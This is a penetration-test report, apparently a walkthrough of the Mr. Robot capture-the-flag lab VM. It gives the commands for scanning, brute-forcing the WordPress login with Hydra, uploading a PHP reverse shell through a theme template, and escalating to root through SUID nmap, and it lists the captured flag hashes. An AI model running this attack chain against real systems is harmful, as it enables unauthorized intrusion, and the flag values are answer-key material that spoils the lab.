Operation: Mr. Robot Infiltration

Executive Summary

This engagement simulates a black-box external penetration test targeting a vulnerable WordPress site.
The objective was to gain unauthorized access, escalate privileges internally, and exfiltrate sensitive flag data -- simulating a full-chain attack.

The target was successfully compromised using a combination of misconfigured WordPress components and weak system passwords.
The test concluded with full root access and capture of all three flags.

Technical Summary

1. Enumeration:

- Nmap Scan:

```
nmap -sS -A -p- 192.168.254.133
```

  - Open port: 80 (Apache running)
  - WordPress detected on root path (/)

- Gobuster:

```
gobuster dir -u http://192.168.254.133 -w /usr/share/wordlists/dirb/common.txt
```

  - Found /wp-login.php, /license.txt, /robots.txt

2. Exploitation:

- Accessed WordPress login page
- Default username guessed: admin
- Used Hydra for brute-forcing password:

```
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.254.133 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In:S=Dashboard"
```

  - Discovered credentials: admin:welcome

- Gained WordPress Dashboard Access

- Uploaded PHP reverse shell via 404.php template (TwentyFifteen)
- Set Netcat listener: nc -lvnp 4444
- Triggered shell: http://192.168.254.133/wp-content/themes/twentyfifteen/404.php
  - Got initial shell as www-data

3. Privilege Escalation:

- Found password.raw-md5 in /home/robot
- Cracked MD5 hash to get robot's password
- Switched user -> robot
- Located nmap binary with SUID bit:

```
  /usr/local/bin/nmap --interactive
  !sh
```

  - Got root shell

Captured Flags

- flag1.txt: 073403c8a58a1f80d943455fb30724b9
- flag2.txt: 822c73956184f694993bede3eb39f959
- root-flag.txt: 04787ddef27c3dee1ee161b21670b4e4

Conclusion

This test confirmed that weak administrative credentials, misconfigured WordPress themes, and local privilege escalation via SUID binaries can lead to full system compromise.

The organization should implement stronger password policies, regularly update plugins/themes, and restrict SUID binary access.